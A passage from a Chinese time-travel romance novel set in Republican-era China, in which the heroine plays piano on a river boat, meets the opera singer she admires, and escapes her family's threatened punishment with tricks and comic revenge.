“真的会动吗?”许甯有些不信。
“急什么,等会就知分晓。”韩先觉挑了挑眉。
过了几分钟,船笛声响起,她朝窗外看去,船身果然在离开岸边,惊动不远处的鸟群飞起。
再往远些,是她来时的大桥,此时看去也不过巴掌大小。
她关注着窗外,直到缓缓的钢琴声响起,她才转过头。
“还有人弹琴?”
声音从甲板传来,隐隐看见一台三角钢琴和演奏者的侧影。
韩先觉点点头:“有乐意表演者就可以上去弹奏。”
此时,服务员送来牛排、蓝莓蛋糕和红酒。
韩先觉将蛋糕推到许甯面前,自己则起了酒盖倒进酒杯中摇荡。
浓郁醇厚的酒味散发出来,轻轻摇晃间,犹如红丝绸般轻盈。
韩先觉见她一直盯着他的杯子,好心道:“你家中管的严,酒还是不要喝的好,下次去我那,我请你喝茶。”
喝茶…说起这个她就想起让人痛心的“一千元”,央求道:“韩叔,我就想单独见见云笙先生,您能不能和他说下砍砍价啊,一千元实在负担不起,您相信我,我只是想见一面,也不用太多时间,只要和我聊两句话就好。”
韩先觉捏着酒杯转了一圈,杯面折射出他嘴角的笑意:“小甯,这是你第二次同我讲价,我也并非不讲情面之人,如果你告诉我非要见云笙的理由,我就给你砍半如何?”
“两百元可以吗。”许甯垂下脑袋,下巴都要贴在桌面上,竖起两根手指求道。
“哪有你这么讲价的。”韩先觉失笑,这小姑娘自然熟,机灵古怪的,他是不介意搓成这一对,但是那家伙可不一定愿意…
“那”许甯再竖起一根手指,真诚道:“三百,这真是我的所有家当,韩叔我是看在你的面子上才加价的啊。”
韩先觉佯装皱着眉头思考了一阵,眼神飘向远处,得到另一人点头后,这才看到她嘴巴抿紧,笑道:“就这样吧,三百便三百,适才要说为什么非要见云笙吧。”
“谢谢、谢谢韩叔!”许甯高兴地都快蹦起来,声音激动地差点忘了在公众场合。
钢琴曲被她的声音影响,少弹几个音,她歉意地朝周围鞠躬,这才坐下来认真回答:“我是云笙的粉丝,不见到他我死不瞑目的。”
死不瞑目…韩先觉笑不达意,对一个“戏子”如此看重,实在有些无理取闹。
不过更让他疑惑
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的是:“粉丝,是吃的吗?”
“当然不是。”许甯打哈哈,她太激动了,居然说出了不属于这个时代的词。
“粉丝是我自创的词,意思就是崇拜他、喜欢他。”
“喜欢?”韩先觉一饮而尽,随后轻笑:“世人对戏子又有几番真心,我们不过是供他们赏乐的东西。”
“商女不知亡国恨,隔江犹唱后庭花。”他看着空尽的酒杯低声说道,眼底流露出几分少见的悲凉,不知藏了多久心酸事。
许甯小心翼翼地:“韩叔,你看起来很有故事的样子。”
“一个戏子,能有什么故事。”韩先觉掩下心酸,扯起嘴角:“不说了,你想见云笙,随时来茶园找我。”
许甯点点头:“我会尽快去的,应该就这几天。”
“好,先吃饭吧。”韩先觉对她说,自己的酒杯却是倒了一杯又一杯。
直到他最后醉了,许甯推他也没醒,反而自顾自地让她离开,自己则趴在桌子上睡觉。
许甯见势,偷偷往自己酒杯里倒酒,一饮而尽。
砸砸嘴,她把空酒瓶放远,算不得很好喝。
想起自己久久未回,担心严诲下来抓她,许甯喊来服务员让她照看一番韩先觉,这才擦了下嘴角准备上楼。
路过餐桌时,凉爽的风迎面扑来,在这又潮又黏腻的梅雨季节,带来一丝舒适。
墙上的挂钟铛地响起,显示是十二点,明媚的阳光从甲板处洒进来,许甯顺着楼梯来到二楼,钢琴曲又变了。
是如山泉般澄澈的舒缓调子,越往里走,曲声越低微,甚至消失了。
许甯手心按在门把处,想了想,坚定地往楼下走去了。
在船上,怎么能不弹一曲《我心永恒》呢。
才到一楼,就听到众人鼓掌声。
“先生弹的真好。”
“再来一曲。”
她顺着众人目光,向着甲板的方向过去。那位先生正站起身,他穿着黑色马褂,拿起放在琴架上的圆顶礼帽,抵在胸前鞠躬无声道谢。
他立在逆光中,整个人如被铂金裹住,看不清脸庞,退场时错过许甯,刚巧用手侧扶了礼帽。
许甯不知为何心里闪过一丝熟悉,也许是一瞬而过的淡淡茶香。
他也是茶园人吗?
她回头望去,男人已走远,长袍猎猎,熟悉的茶香也已消散。
她不再停留,来到了甲板上,这里天地更为广阔,或是为了装饰,甲板上栽种了不少盆栽,远处是壮阔河流,近处是鲜花簇拥。
起身鞠躬,随后落座在琴凳上,熟悉的旋律仿佛在耳边响起。曾经喜欢泰坦尼克号的她,日以继夜地练琴,乃至深夜,被邻居投诉上门。
严诲说的对,她总是那么欠揍。
忆起往事,心中不免有些怀念,指尖按上琴键,非常自然地弹出曲子。
壮阔、悲情,抚下的仿佛如潮水,一点一点将她的思绪勾勒上来,也将众人沉醉在其中。
和弦下,是我心永恒的向往,骤然拔起的高音是波澜壮阔的爱情,当潮水涌去,注定的悲凉下,杰克说:赢得船票,是我一生中最幸运的事情。
那么…她的穿越,遇见沈斛,是否也是她一生中最幸运的事情?
13. 第十二章
一曲终了,掌声如潮水般热烈。
许甯缓缓站起身,在众人的欢呼声中,她沉溺在无法自拔的情绪中,久久无法平静。
面对众人的热情,她也只是轻轻摇头表示离开。
沈斛英年早逝,如果注定是悲剧的结尾,是否还要一往无前的执着?
她不知道。
如果见到他,她是否能让他避免死亡,是否会改变历史?
她不知道。
如果不能控制自己的情感,是否还要坚持相识,最后落得悲痛的下场?
她不知道。
她就这么迷茫地走着,像是蒙蔽在弥彰中,四处都是白瘴,她找不到未来的路,也找不到回来的路。
穿越,可真是给她开了个极大的玩笑啊,许甯后知后觉地意识到。
“你怎么了,许甯。”严诲从楼梯上急匆匆赶下来,扶住她。
面前只到他肩膀的少女,脸色红润,神色却恹恹,严诲从没见过她这幅模样,她总是活泼,甚至调皮,没想到有朝一日也能见到鲜艳的花朵失色。
严诲气极,朝周围人环视了一圈,反而得来几位客人的点评。
“先生,您的夫人钢琴弹的极好。”
“这是我听过最美妙的音乐。”
“不过我想她可能有些累了,否则再多弹几首多好啊。”那人怀念道。
严诲想起过来时隐约听到的琴声,问许甯:“那是你弹的?”
许甯没回答,她的眼神也有些朦胧,脚步虚浮,甚至站都站不稳。
她有些也不知道怎么回事,只感觉巨大的欣喜后,悲伤如潮水涌来,几乎将她淹灭。
“这是怎么了?”严诲察觉到她的异样,一把将人抱在怀中:“服务员、服务员!”
许甯被这喊声惊醒了几分,脑子忽然想起了投饮的那杯酒,不甚利落地说:“别叫,是醉酒、好晕啊。”
话音刚落,她浑身软软倒在严诲怀里。
醉了啊。
严诲松了口气,不能多喝还喝酒,他一边腹诽着,一边还是任劳任怨地抱起许甯转身离开。
就在她们离开后,众人开始悄悄谈起这对“夫妻。”
“夫妻两感情真好,瞧她丈夫担心成啥样了。”
“别看是个假小子,换上洋裙指定漂亮,女美男俊,真是般配。”
“不过我怎么觉得那男人很熟悉的样子…”
就在角落中。
一道身影坐在窗口,白纱质的飘窗在他身旁轻轻摇曳,指尖夹着杯柄,收回那道滚烫的视线,人影已随着离去,而她们留下的痕迹还在进入他的脑海。
夫妻么?
他漫不经心地摇着酒杯,像是普通欣赏美景的绅士。
“臭小子。”对面醉醒的中年男人睁开迷蒙的眼睛,他看见沈斛嘴角微微上扬,打趣道:“看见小甯了,这么开心?”
“你一句话不说,会死吗?老家伙。”沈斛嘴角下沉,很快地恢复冷漠。
韩先觉被怼了也懒得计较,这小子就是嘴硬还毒,跟他硬碰硬绝对讨不到好。
沈斛看了眼窗外:“快停岸了。”
“嗯,还要去见许宓吗?”韩先觉问,“你布局这么久,可有得到什么收获?”
没等沈斛回答。韩先觉先否认:“应该没有吧,否则你也不会答应见小甯了。”
方才他和许甯交谈时,就是得到沈斛的点头,这才同意她捡三百元的“大便宜”。
“她叫许甯。”沈斛忽然说。
“还真是许家人啊。”韩先觉砸砸嘴。
沈斛想起严诲紧紧维护少女的模样,没说话。
*
许甯自诩酒量算不得差,也算不得好,但不至于一杯倒。
可她忘了身体不是她的,当不顾一切想去弹琴时,她就已经有些上头。
后来情绪上涌,酒精吞噬着理智,最后支撑不住地倒在严诲怀中。
许甯醒来时,躺在包厢的沙发上,身上盖着薄毯,正一拳拳敲击着自己脑壳。
太丢脸了,居然众目睽睽下晕倒,而且她听到了什么?
夫妻?
“姐夫姐夫姐夫!”许甯狠狠叫了几句,似乎就能将这该死的名称销毁。
“…你一醒来就发疯?”严诲坐过来,端来一碗黑乎乎的汤药。
“这是什么?”许甯战术性地后退,抵在靠垫上。
严诲感觉有些莫名其妙:“醒酒汤,是用桑葚、陈皮做的,这里的厨师都是做西餐,味道可能不太好。”
“那就好。”她还以为黑漆漆的颜色是她的肉汤,严诲想报复她,于是端过来让她喝下,果然是她想人太坏了了吗?
她端过来小口喝着,眼神却不住地瞥向严诲。
“你怎么了?”严诲没抵住她的视线攻击,率先问道。
“肉你吃了吗?”碗刚好挡住她心虚的眼神。
“还说呢,本来想等你一起吃,结果半天没等到人影。”说着,他自如地拿走许甯喝完的碗:“我让厨师热一下,等会就送来。”
“嗯…”许甯转着眼珠,想着她该怎么逃过这一劫。
不多时,服务员送回了肉,用青瓷盏装着,瞧着倒是有几分格调。
许甯打开盖,发现除了黑糊糊一团,倒也称得上好看。
“你先吃?”许甯挖了一勺,送到严诲面前。
看着送到面前,这一坨又黑又糊的不明物,他的喉咙快速上下滚动了一番,往许甯方向推了推:“你是病号,你先吃。”
“我在楼下吃过了,你先吃吧。”
“其实我刚刚也吃过了。”严诲脸不红心不跳地撒谎道。
看他推三阻四,许甯耍赖的情绪一下子上来了,从沙发上站起来,俯瞰着比她还矮半个头的严诲:“大胆!”
“这是你让我要做的,你不吃谁吃?”
严诲噎了两秒,迟疑地开口:“不对,我不是恩人吗?怎么你语气这么强势?”
“不管,小严子,我命令你快吃!”许甯不依不饶道。
严诲都气笑了,看着高高在沙发上的某人,叉手道:“清朝都灭亡了,你还搞皇帝那套?”
许甯高高仰起下巴:“朕就是皇帝,小严子你吃不吃?唔唔!”
趁着许甯不备,严诲迅速将勺子塞入许甯嘴中。
!
早知道就不加那么多调料了,酸苦甘辛咸,还有浓重的糊味。
本着不浪费食物的原则,她艰难地
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咽了下去,然后看准正悄悄又挖一勺子的严诲,跳下沙发一脚踹他屁股上。
“朕要杀你九族啊!”
严诲一下子摔在地上,拧起眉头,刚要起来,就被塞了一口肉。
“呕、呕…”他作势要吐,又在许甯凶残的眼神中,硬生生咽下去。
“好难吃,那男人幸好被我打进水里,要是娶了你,真是倒了八辈子霉啊甯儿~”
“别说啊!”
“我就说,甯儿甯儿~”
这场闹剧最终以许甯泰山压顶坐在他背上,然后被响起的汽笛声惊醒而结束。
“到岸了。”严诲趴在地上,半死不活地道。
许甯从他背上站起来,拉起他,平静地整理衣角微脏:“走吧,我要回去了。”
“我送你回去吧。”
“不用了,我还有些事情要做。”来之前,许甯就往口袋里塞了十几篇手稿。
而且,严诲的雪弗兰实在有些亮眼,出来还好,下人只当严大少爷回家,再回去,就扎眼了。
“行,你小心些。”严诲也明白这点,于是招呼下手帮她叫车。
下船时,阳光消散,远处积攒着薄薄乌云,风也愈发大,吹得不少人披肩、圆帽掉落在港湾。
许甯压着帽子,和严诲道别后,独自上了黄包车。
“不好意思,先生。”车夫跑着,忽然不小心撞到了一人。
这里人本就多,撞到实在在所难免。
“你没事吧?”许甯半弯着腰问道。
那人捡起礼帽,拍了拍,朝车夫点点头,又转向她这边,温和道:“没事。”
看清这张脸,许甯完全愣在原地。
他的长相清隽,轮廓分明,笑起来时眼尾微微弯起,如玉的气质,温和如暖阳。
他比黑白相片中更好看。
她喃喃地念道。
也比戏台上更清晰。
“怎么了,小姐?”云笙笑意更深,声音低沉悦耳。
闻到他身上淡淡的茶香,许甯才像是找回了自己的声音:“弹钢琴的先生是你?”
云笙并未否认,微低下头谦虚道:“您弹的更好。”
车夫重新整理一番,将车杠套在胸前。
人潮汹涌,云笙就这么站在她的黄包车前,戴上礼帽:“有缘再见,小姐。”
“再见。”
许甯怔怔地望着他的背影淹灭在人潮中,乌云笼罩大地,窸窸窣窣地落雨。
她半蹲着,身上也淋了些雨,她伸出手,感受着雨滴砸落手心的濡湿感。
猝不及防,这是她对雨的评价,也是对人。
“小姐落雨了,快坐下吧。”
许甯坐好后,雨势渐大,车夫戴着草帽,肩头早已湿透,奔波在滑湿的街道。
车轮碾过青石板上的水洼,溅起的水花再度落下。
就像她突然被挑起的惊喜,瞬息之间,就已轻轻放下。
在弹奏钢琴前,她对他魂牵梦绕、念念不忘;醉酒后,反而让她想清了许多。
沈斛注定消散于历史中,而她,真要为一厢情愿而痛苦吗?
她做不到接受他的死亡,既如此,为什么?
为什么命运这么捉弄她?
14. 第十三章
黄包车停在朔城日报前,车夫答应会在屋檐下等她,许甯拿出有些浸湿的稿子,进了报社。
“青简,你来的也太勤了吧。”依旧是前台的美丽摩登女人,叫俞依。
今天的她仍美艳夺目,穿着吊带蕾丝洋裙,露出的雪白肌肤让许甯挪不开眼。
“这不是为了看美女嘛。”许甯笑着调侃道。
“少贫嘴,你的稿子呢?别以为多说几句漂亮话,我就会放过你。”俞依红唇微扬,朝她伸出手。
自从韩编辑愿意接收她的稿子后,后续收搞的事情基本由俞依负责。
别看俞依好说话,实则比韩编辑还严格。
“给,外面还有人等我呢,求俞小姐看快些。”许甯将稿子放到她的手上,感觉像是扔了一颗随时会爆炸的炸弹。
俞依一丝不苟地翻看着手中有些模糊字迹的淡黄色纸张,许甯脚下就有些呆不住,手上也冒出汗来,她需要干点什么才能稳住即将被炸的心情。
报社一楼是层层摆放的书架,许甯走到书架处,简略地看过书名。
这时,她发现一个小男孩,只有七八岁大小,正蹲在角落里,数着手中的报纸。
“你在做什么?”
许甯的突然出现吓了小男孩一大跳,埋怨道:“别打扰我。”
过了会:“唉,又数错了。”
“要不要我帮你?”许甯俯下身问道。
这个小男孩非常瘦弱,甚至可以看见皮下的骨骼形状。
他穿着灰布短褂,早已被洗的发白,领口、袖口处打着几块补丁,裤脚卷到脚踝,穿的破布鞋被他端端正正地放在一旁,鞋尖下积聚着一滩泥水。
只有他的绿布包是完好的,有几份报纸被整理地塞入里面。
小男孩看向她,眼睛里有丝警惕。
“我是大人,算的很快。”许甯进一步表示。
小男孩似乎实在没办法:“好吧,快帮我数一下,我要一百份日报,多数了那女人要打我的。”
那女人,就是俞依吧。
许甯有种遇到知音的感觉,立马动手起来,一边数一边问起男孩是不是卖报人?
小男孩本来不高兴她的一心二用,但看她手指翻飞,数的又快又准,这才没好气地说:“是啊。”
“你小小年纪,就在这卖报?”
小男孩的眼神更加鄙夷:“小姐,我家里没钱,妈妈妹妹都生病,不赚钱谁养家,谁付医药费?”
许甯张大了嘴巴:“你爸呢?”
“他也赚钱,不过他身体也不好,赚不了多少钱。”
说着,他似乎透过玻璃看到了熟悉的身影,光着脚快步跑了出去。
许甯快速数完了报纸,也跟着出门。
屋檐下的雨水连成雨幕,绵延不绝。
空气中涌着股潮湿的泥土气息。
被淋的半湿的车夫低下头,任由膝盖高的男孩痛骂。
“不是让你别拉客吗?等下回去又要发热,真是麻烦!”
“这不是才下雨,我就歇下了。”车夫尴尬地摸了摸头。
“那你还不快回去!”小男孩骂道,又不忍心地拿出破纸伞扔给他。
车夫看到了她,又不知如何跟儿子解释:“根生,这…”
“先等会,师傅。”许甯快步走进店中。
俞依已经看完了,看她过来,指点着圈出来的点:“这里用词太激进,还有这里、这里,写的什么玩意儿。”
“俞依,能不能先把稿费给我,等会我再听你说。”许甯有些急切地打断她,眼角余光不住地瞥向门外。
俞依似乎看出了什么,往常冷血的她叹口气,从抽屉里拿出钱。
“多谢。”许甯快速数了五十元,剩下的塞回口袋里。
“拿这把伞给他们吧。”许甯正要过去,俞依拿出油纸黄伞给她。
“俞依,你也是个好人啊。”许甯扬起笑脸,走到门外,将钱全给了车夫,又把伞递给他。
“这?”车夫张开手,目瞪口呆。
小男孩-根生也是站在一旁,愣愣的。
“我不知道你会生病,这些钱权充当医药费,你们都回家。”
*
许甯做了件好事,笑容挂在脸上停不下来,就连俞依骂她,她都是笑眯眯的。
俞依直呼神奇:“以前青简先生最爱钱,就连稿子都是写的最快的,想从她手上扣出一分,那真是难如登天呐。”
“这回不一样。”许甯拿出钱,定定地瞧着。
这些叮当作响的钱币,曾是她的梦。
是百年后的追寻,也是曾经的期盼。
一千元,换一场绚烂、但注定悲剧的梦。
她本来很纠结,直到她十分意愿地数钱,把钱用在更值得它们的人手上。
那一刻,她想通了—原来心中早有答案。
与其最后心痛,不如远离痛楚,就这样吧,趁着还来得及。
许甯叹了口气,将钱全还给了俞依:“我听你提起过,你是红十字会成员,请帮我将这些钱捐赠给红十字会,以后我一半的稿费也会给你。”
“青简你?”强大如俞依,也有点看不懂她了。
许甯淡淡道:“不过是想通某些事罢了。”
回家的路上,许甯没有叫车,她撑着伞走在街巷中,雨珠顺着风打湿在她脸上,如珠般落下。
分不清究竟是雨水,还是泪水。
沈斛,从未想过,当我距离你一步之遥时,我怯懦了。
*
许甯不在的这段时间,许府乱成一锅粥。
先是钱老板被捞起来,浑身湿漉漉地,非要找“凶手。”
凶手很快就找到了,下人结巴地说出:“严大少爷所为。”
听到这如雷贯耳的名字,钱老板浑身的赘肉都向下沉了沉,蔫气地摆摆手。
“算了,严大少爷许是我和我闹着玩呢。”
许老爷环顾四周,没看到应在场的人影问道:“二小姐呢?”
“二小姐…二小姐”春桃支支吾吾的。
许老爷带着威严斥道“说!难不成你也想家法伺候?”
“不敢。”春桃吓得跪在地上:“二小姐和严大少爷在一起。”
“我看到严大少爷正午未至就出门了,身边还跟了个小厮,难不成…”下人未再多说,但真实情况大家心知肚明。
“她们两怎么会在一起。”太太皱起眉头说,“宓儿呢?”
“大小姐还在私塾。”
夫妻两脸都黑了,钱老板也听出不对:“你们许二小姐许了严
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家?”
众人不语,脸色尴尬。
钱老板越发觉得自己猜对了,气极反笑道。
“合着这两人糊弄我,一个装傻,一个将我打入水中,可真是好一出配合,你们许家玩弄我当真不错啊。”
许老爷的脸色更是难看,背转过身,胡须一吹一吹的。
太太上前,轻轻按住他的手,眼神示意此时不是计较许甯的时候。
许老爷默然不语,少顷,神色平静下来,转过身来笑眯眯地跟钱老板道歉:“钱老板是哪的话,许甯从未见过外人,又怎会有许人之说,大致是下人搞错了,将旁人当作了她。”
“那她人呢?我要见到她,立刻!”
“快去找二小姐。”许老爷催促下人道,同时使了个眼色,让人多推迟些时间。
许甯到家时,一阵风险些将她的油纸伞拽落地,紧接着,手臂被人抓住,丫鬟激动急切地喊:“找到二小姐了!找到了!”
什么鬼?她还没悟出什么,就被一群人围住,跟着她们去了前厅。
前厅正中摆着八仙桌,在左右两侧各放了两把太师椅,臃肿的钱老板几乎将椅子挤满,脸色气愤,而旁边躬身站着一群人为他端茶倒水。
这情形,许甯一下子就明了。
一把扒开别人,眼角瞬间含泪,几乎是看到许夫妻二人就扑地跪了上去。
“爹!娘!女儿不孝!”
许夫妻二人皆是错愕:这是闹哪出?
“本来我与钱老板在水榭畅然,突然之间有贼人将钱老板打入水中,我上前去抓人,结果反而被他带走。”
“是严大少爷?”春桃呆呆地附和了一句。
许甯没有说,反而将袖子遮住脸,装作哭泣的模样痛哭流涕。
像极了被严诲欺辱。
许夫妻二人嘴角抿了抿,严大少爷她们可招惹不起,钱老板也有着利益关系,一时竟不知说些什么。
“…”钱老板懵了,这人怎么看着又好好的,半撑着坐直:“你在水榭装疯骗我?”
“非也,我也是被逼无奈。”许甯暗悄悄瞥了眼四周。
“都下去吧。”许翁仁大手一挥道。
随着仆人一一离开,最后关上了棱形镂空花门,一道浅浅的光晕照在她的手心。
许甯握了握,知道此时必须得把事情说大,这样才能避免婚约,而许家封建,最注重名节。
她往心里对严诲说了句对不起,就开始悲切地讲故事。
“自从入私塾后,严大少爷便纠缠于我,知道我与钱老板相见,便要求我百般阻挠,于是才装疯卖傻,欺骗了您。”
“怪道上一次见还算正常,原来…”严诲也算是少年气焰,行事冲动些也正常,如果他真喜欢这个庶女,看在严家的势力下,让给他也无妨。
“你我婚约本就未订,以后男婚女嫁互不干扰,就此作罢吧。”钱老板遗憾地摇头道。
许夫妻二人当然不愿意到手的肥肉就跑了,忙想拉回局势。
“也好,毕竟我也算是…他的女人了。”许甯轻轻道。
轰地一声。
许夫妻二人连同钱老板全部惊呆了,齐齐转向她。
许甯偏了偏脑袋,装出惹人怜惜的模样,实则在袖口的遮掩下,弯起了嘴角。
15. 第十四章
许翁仁初听到这个消息时,感觉是幻听,毕竟他年纪已大。
忙把钱老板招呼走,又让他此事严重,千万不可外传。
这才走到许甯跟前,蹲下身:“你再说一遍。“
“我与严大少爷有夫妻之实。”许甯一字一句盯着他认真道。
“混账!”许翁仁吼道,连长辫都气的一甩:“我们百年清流世家,出了你这个混账!”
怒火积攒,一时竟不知是气愤许甯败坏了家风,还是抢了宓儿的男人。
“老爷别生气,气坏了身体也不值当。”太太端来一碗茶水,递给丈夫喝,又给他舒缓背,这才缓缓道:“此事不解决难保家风,家中大小孩子还未婚娶,恐受其害。她既有能力做出这等丑事,也应该能承受错处。”
“夫人的意思是?”
许甯感觉一道幽幽目光朝她望来。
“自然是依祖法,沉塘。”
“沉塘?”许甯几乎讥讽般地重复了这个词。
当书本中才会出现的词乍然化作现实,她的脑海中浮现以往读到的故事,这不是残忍,或者在这个时代,他们只会称呼为“罪有应得。”
她就是这样的罪有应得,许甯又耻笑了一下。
“你笑什么?”太太眼神阴鸷立马盯向她:“你做出大逆不道的事情,沉塘算是洗清你的罪孽,阿弥陀佛。”似是意识到自己的语气不对,她盘着佛串念经。
“我看是你想杀我才对。”许甯冷冷说。
“你个小杂种,说什么混话!”
“难道不是么?上次乱棍没把我打死,这次要沉塘淹死我,对吗?”许甯缓缓站起来,目光直视着太太,丝毫不惧。
太太仿佛从她身上看到另一道影子,吓得浑身止不住的颤抖,更加用力攥着珠子念佛。
“你信佛,就是为了缓和自己的内心吗,因为你作孽多端、草芥人命...’”许甯每走一步,就说一句。
脚下像是有数根铁链,写满了嘴罪行,齐齐朝着太太涌去,她浑身被缠满,猛的倒在地上。
“够了!”许翁仁怒喝道。
他的脸色也算不得好,许甯有种误打误撞碰到了事实的感觉,而一击还是两个。
她直觉两人不会放过她,就在许翁仁下达命令的前一秒,她前脚绷直往前踢。
许翁仁一句话梗在脖子里,就被踹倒,太太这时惊醒过来,也喊着要叫人。
还好刚刚把人都叫了出去,许甯擦了额头上的细汗,忙得不行,又朝她扇了个巴掌。
她左顾右盼看了一下呲牙咧嘴的两人,打两下够了,再多就真完球了。
于是她整理了一下情绪,把头发解散扑在身前,开门像个疯婆子一样,一边跑一边喊:“爹娘杀我!救命啊!救命啊!”
“救救我!我不要死啊!”
足够凄惨的声音引来了全府上下的围观。
“二小姐!”
“救命啊救命啊!”
许甯不理会任何人,跑过廊桥、石阶,后来一群下人朝她冲来,手里有的拿着扫帚,有的拿着竹竿,看来是发了话来抓她的。
等他们将她堵在石墙时,以为许甯总算跑不动了。
谁知她手脚格外利索地往上翻,同时不忘拔啦石头下来砸他们。
“许甯,别再胡闹了!你以为你逃的出去吗?”太太用手帕捂着半张脸恨道。
回应她的,却是险些砸中她的两块石头。
她吓得面容巨变,连用手挡住脸都忘了,于是那张印着巴掌印的脸就显露在众人眼前。
“太太,你的脸。”众人皆望向她,反倒是许甯趁此机会,翻过墙,跑到另一侧。
“快追啊!”太太急得直跳脚。
早知道就不该让她进府,都怪老爷说生意上需要钱老板打点,这丫头哪是个省心的!
许甯跳过墙,另一侧往下走就是私塾,身后跟着一群人,她想也不想就跑得更快。
最终,许甯跑动了课堂上,气喘吁吁的。
教书先生、学生都一脸茫然,许玮更甚,他甚至只看了一眼,就继续看他的书。
眼见着他们就要抓住她,许甯爬上课桌,也不顾什么书本,硬躲在许玮课桌下。
许玮低下头:?
许甯:“哥,他们要杀我,救我!”
这还是许甯第一次喊他,许玮一阵无语。
就在这时,一群人涌进来。
“二小姐呢?”
“在大哥桌子下。”小辈们毫不留情将她暴露。
下人们看着躲在许玮桌子下的许甯,而大少爷还坐在课桌上,感觉颇为棘手。
就在这时,老爷和太太进来了,相互搀扶着。
众人面面相觑,不动声色地让出位置。
“先生辛苦,今日课程就此罢了把。”
“不要!”许甯大喊道,止住了先生的脚步:“他们要杀我,还望先生能救我。”
徐翁仁:“这孩子不仁不义,败坏家风,此乃家事,先生还是回去吧。”
教书先生对许翁仁说:“她也算是我的学生,岂有不管教之理。”
许甯松了口气,难得感受到一丝真情。
教书先生姓文,叫文颐,曾参加科举取得秀才之名,许甯曾也一度怀疑他是封建制度下的产物,后来想他与许玮能为师徒,又能教女学生四书五经,必定非凡。
“多谢文先生。”
“先出来吧。”文颐道。
许甯缩着脖子迟疑片刻,仍是不敢。
敌众我寡,而最重要的许玮还未表态。
从这些日子的接触下来,许甯也大致猜到了许玮的用意。
他将她带出偏院,又要让她同严诲坐一处,而且不抵触她与严诲玩闹,无非是想要----
“他们打死我,我就不能帮许宓嫁给严诲。”
许甯拉着他的衣角小声道。
许玮用一种很难辨的目光看她,似乎惊奇她如何猜到。
“你不救我,许宓喜欢戏子之事迟早被严家知道,到时你们逃得了严司令的气焰吗?”
许玮向来很有继承人的觉悟,她猜想他或是自己发现许宓的秘辛,或是许宓逼迫他,但无论如何,他都选择了不让许宓作为随时会爆炸的炸弹,这会令许府很被动。
即使将这么好的机会让给庶女,他也觉得稳妥些。
“你
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想要什么?”许玮看向她,一改亲热,眼中全是算计。
“你救我,我勾引严诲,帮助许宓逃出困境。”
“我答应你。”
就在他说下这句话之时,许甯从桌下爬了出来。
下人涌上,纷纷想抓住她。
许玮手臂舒展开,拦住他们的动作。
“玮儿你”许翁仁不解,太太更是痛骂:“我知晓你一向懂情谊,可她对父母不仁,又自甘下贱…”
“娘”许玮打断她的话:“我先把二妹妹关起来,我们再商议后事如何?否则我不会把她交出去。”
太太一向懂的自家儿子的脾气,说一不二,僵持许久才放弃:“按你说的办。”
*
许甯被许玮关到隔壁小屋子里,另在外留下数十人看管,就是怕她手脚伶俐逃出去。
她站在屋里晃悠了几圈,计量着后续。
毫无疑问,她的命暂时保住了,至于要不要勾引严诲,又如何勾引,许甯决定交给未来。
很快,判决书就下来了。
因德行有亏,要被驱逐到院子外的破庙里诵经礼佛,而今天,她需在祠堂跪满一夜。
许甯认为这不算坏消息,至少以后出门不用再爬狗洞。
祠堂靠近太太的阁楼,是一栋极为阔气的建筑,从上至下摆了三层排位,全屋用火烛照亮。
红澄澄的环境让许甯心里都发颤。
大门上了锁,屋外电闪雷鸣,她装模作样地跪到所有人离开,俯身仰倒在草垫上。
不知道睡了多久,等醒来时肚子咕噜噜叫唤,排位下的蜡油凝结了厚厚一层。
她还在祠堂。
她感到有些无聊,望着头顶精巧绝伦的雕刻,她有了主意。
“有人吗?我要去茅坑。”许甯起身,敲了敲大门。
许久,门外传来声音,带着睡醒的喑哑:“二小姐你再忍忍吧,很快天亮了。”
“不行,我憋了一晚上,你不放我出去我就就地解决。”许甯放出狠话。
在祠堂大小便,也亏是二小姐能想出来,如果真被发现,那他也别想兜着走。
“诶!我这就放你出来,您憋着点啊,千万别漏了。”守门人几乎立刻以最快速度开门。
随着门敞开,“二小姐?”话音未落,一个烛台猛的劈向他的脖颈处。
他只来得及看见烛台后面容,似乎在说抱歉…
许甯摸了摸他的脖颈,发现没出血,又探了下鼻息。
还好,只是晕过去,她安心地走出祠堂。
此时雨停,石板积聚着雨水。
夜深人静,时不时有风刮过的痕迹,沙沙作响。
对于偷食物,许甯再是熟悉不过。
趁着夜色浓重,她躲进厨房中吃了个大快朵颐,然后看见案桌上精致小罐装的辣椒粉。
思索了一瞬,她选择带在身上。
回去时,错过阁楼。
这座精巧的阁楼共两层,周围开窗建在假石上,绿荫掩映,上书着:留翠阁。
她想起春桃说过,她的前身就是在这被打死。
于是带着报仇的欲望,许甯悄悄摸了进去。
16. 第十五章
火。
炽热的大火,从中走出二十四个鬼魅,或长或幼,浑身都被烧得漆黑,只剩个干瘪的枯架子。
“还命!我要你们许家人还命!”凄厉的惨声,全都朝她涌来。
“不是我,不是我!”
太太惊醒,浑身冷汗。
屋里的烛火灭了,点在佛像下的香火也已燃尽。
“阿弥陀佛、阿弥陀佛。”她紧紧捏着佛珠,闭着眼颤抖念道。
“还我命来。”
“还我命来。”声音凄惨,愈发清晰。
不知何处来的微风扫荡在眼前,太太睁开眼。
只见屏风后突然出现血红的影子,嘴大张着,白绫从屏风后探下,离她越来越近…
翌日,留翠阁乱成一团。
许甯被下人押着路过时,正巧撞见许翁仁带着医生上阁楼,而阁楼上还能听到太太的喊叫声。
“快走。”下人催促道。
“急什么?太太只说今日离开,我记得没规定时间。”许甯抬眸。
温婉的容颜,却有股不怒自威的气质。
二小姐什么时候变性了,真不是曾被众目睽睽殴打的少女。
他忽而想起昨日老爷太太身上的伤痕...
下人咽了咽口水,将嘴边的狠话咽下去:“是,二小姐您随意。”
他说随意,许甯就真的随意,坐在留翠阁下的假石上,双腿离开地面,从裙摆下晃荡着。
她抬头看去,许翁仁正站在三楼窗外,焦急地走来走去。
丫鬟赶急赶忙地过去,呈上烟杆。
他立马拿起,像是极度缺水的鱼,猛的抽上一口。
“咳咳!”许翁仁剧烈咳嗽着,咳嗽时空气中漂浮着一层红粉。
“辣!好辣!”嘶吼声此起彼伏,而他如烟雾释放器,每说一句话就要喷出红粉。
真不愧是她的辣椒粉,劲真猛!
阁楼下,许甯跳下假石。
“走吧。”她语气愉悦,哼着歌,行走时轻盈地像蝴蝶,显然心情非常好。
不少人看见她,惊呼:“二小姐被赶出去,不会受惊过度脑子坏了吧。”
“看着像,太太今早不也是发疯。”
“嘘,小声些,我看啊,这都是许家做的孽。”
“听说十年前,明珠百货大楼是属于沈家,后来…”
这些话实在不愿听,沈斛移过目光,那抹蹦跳的身影彻底消失在眼底。
